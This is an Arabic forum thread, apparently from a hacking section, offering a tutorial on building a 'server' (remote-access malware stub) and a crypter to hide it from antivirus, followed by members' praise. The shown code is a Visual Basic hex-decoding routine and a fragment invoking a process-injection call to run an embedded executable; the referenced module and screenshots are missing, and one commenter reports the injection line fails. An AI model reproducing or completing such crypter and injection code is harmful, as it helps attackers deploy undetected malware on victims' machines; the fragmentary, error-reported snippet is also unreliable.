عمل سورس كود لأي سرفر وتشفير محطم للكل سرفر مع تشفيره الشرح بصور

[سآرة]

عمل سورس كود لأي سرفر وتشفير محطم للكل سرفر مع تشفيره الشرح بصور

شرح عمل سورس كود لأي سرفر مع تشفيره الشرح بصور تابعوا










































الكود

Public Function HexStringToByteArray(ByRef HexString As String) As Byte()
    Dim bytOut() As Byte, bytHigh As Byte, bytLow As Byte, lngA As Long
    If LenB(HexString) Then
        ReDim bytOut(Len(HexString) \ 2 - 1)
        For lngA = 1 To LenB(HexString) Step 4
            bytHigh = AscW(MidB$(HexString, lngA, 2)) - 48
            bytLow = AscW(MidB$(HexString, lngA + 2, 2)) - 48
            If bytHigh > 9 Then bytHigh = bytHigh - 7
            If bytLow > 9 Then bytLow = bytLow - 7
            bytOut(lngA \ 4) = (bytHigh * &H10) Or bytLow
        Next lngA
        HexStringToByteArray = bytOut
    End If



End Function

Public Function facebook()
Module2.Injec ExE, hck(), vbNullString
End Function

لاتحرمون من تقيمكم و الله تعبت في عمل الشرح

المصدر: development-point - للمزيد تابع : قسم إختراق الأجـهـزه والأيـمـيـلات

---

ulg s,vs ;,] gHd svtv ,jatdv lp'l gg;g lu jatdvi hgavp fw,v

[[ صـقـور الإبـدآع ]]

بارك الله فيك أخي واصل

[SiLeNt KiLLeR]

الله يعطيك العافيه على الشرح والتنسيق الرائع

[MR.HACK]

الله يعطيك الف خير يا بطل استمر ^^

[Virus!Clown]

بارك الله فيك يا بطل

[DR.ZA3]

الله يعطيك الف عافية
ما قصرت شرح رائع

[عمار ابو ياسر]

يعطيك العافية

[لمين جالكو]

يااخي عندما اجي احفض السرفر يقول لي هادي الكلمة
Module2.Injec ExE, hck(), vbNullString غلط في الكود الاخير لي حطيتو في الشرح

[MisterMDE999]

يعطيك العأفية حبيب. قلبي.
ماقصرت ي وحش.

[king pro]

مشكور خويا لعزيز تستحق التثبيت ولله

واصل بلا فواصل